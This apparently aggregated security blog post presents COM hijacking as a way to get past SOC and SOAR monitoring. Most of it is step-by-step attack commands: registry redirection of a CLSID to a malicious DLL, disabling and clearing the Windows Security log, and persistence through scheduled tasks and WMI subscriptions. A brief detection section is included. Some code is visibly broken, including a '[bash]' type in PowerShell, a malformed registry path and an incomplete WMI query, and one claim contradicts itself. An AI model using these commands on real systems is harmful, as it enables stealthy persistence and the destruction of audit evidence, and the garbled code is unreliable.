Bypassing SOC and SOAR with COM Hijacking Techniques

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In forensic and detection phases, bypassing SOC (Security Operations Center) and SOAR (Security Orchestration, Automation, and Response) using COM hijacking is a critical technique for malware persistence. Many SOCs rely on traditional tools like Splunk SOAR, making them vulnerable to advanced evasion methods.

You Should Know: Practical Steps for COM Hijacking and Detection Evasion

1. Understanding COM Hijacking

COM (Component Object Model) hijacking involves manipulating registry keys to load malicious DLLs instead of legitimate ones. This technique is stealthy because it doesn’t require dropping files on disk.

2. Steps to Perform COM Hijacking

Step 1: Identify a Vulnerable COM Object

Use ProcMon (Process Monitor) to trace COM object loading: 

.\Procmon.exe /AcceptEula /BackingFile log.pml

Filter for “RegOpenKey” and “NAME NOT FOUND” to find missing COM references.

Step 2: Modify Registry to Redirect COM Loading
Replace a legitimate CLSID with a malicious DLL path: 

reg add "HKCU\Software\Classes\CLSID{CLSID-HERE}\InprocServer32" /ve /d "C:\malicious.dll" /f

Step 3: Trigger the COM Object

Use PowerShell to force COM activation:

$comObj = [System.Activator]::CreateInstance([bash]::GetTypeFromCLSID("{CLSID-HERE}"))

3. Bypassing Splunk SOAR Detection

  • Disable Logging Temporarily: 
    wevtutil set-log "Security" /enabled:false
  • Clear Event Logs After Execution: 
    wevtutil cl Security

4. Detecting COM Hijacking (Blue Team Perspective)

  • Monitor Suspicious Registry Modifications: 
    Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4657} | Where-Object {$_.Message -like "CLSID"}
  • Check for Unexpected DLL Loads with Sysmon: 
    <RuleGroup name="COM Hijacking Detection"> 
<FileCreate onmatch="include"> 
<TargetFilename condition="contains">\COM\</TargetFilename> 
</FileCreate> 
</RuleGroup>

5. Alternative Persistence Techniques

  • Scheduled Tasks: 
    schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
  • WMI Event Subscription: 
    $filterArgs = @{EventNamespace='root\cimv2'; Name='MaliciousFilter'; Query="SELECT  FROM __InstanceModificationEvent"} 
$consumerArgs = @{Name='MaliciousConsumer'; CommandLineTemplate='C:\malware.exe'} 
$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs 
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs 
$binding = Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}

What Undercode Say

COM hijacking remains a powerful persistence technique due to its low detection rate in traditional SOC environments. While tools like Splunk SOAR provide automation, they often miss registry-based attacks. Blue teams should enhance detection by monitoring CLSID modifications, unexpected DLL loads, and WMI event subscriptions.

For red teams, combining COM hijacking with log manipulation and alternative persistence methods ensures long-term access. Continuous learning in Active Directory attacks and offensive security (e.g., SANS 560/660) is crucial for bypassing modern defenses.

Expected Output:

  • Successful COM hijacking with registry modification.
  • Evasion of Splunk SOAR detection via log manipulation.
  • Detection rules implemented in Sysmon/SIEM.

Prediction

As SOCs adopt behavioral analytics and ML-based detection, attackers will shift to fileless techniques like PowerShell reflection and in-memory execution to evade traditional logging. Defenders must prioritize memory forensics and threat hunting to counter these trends.

Relevant URLs:

References:

Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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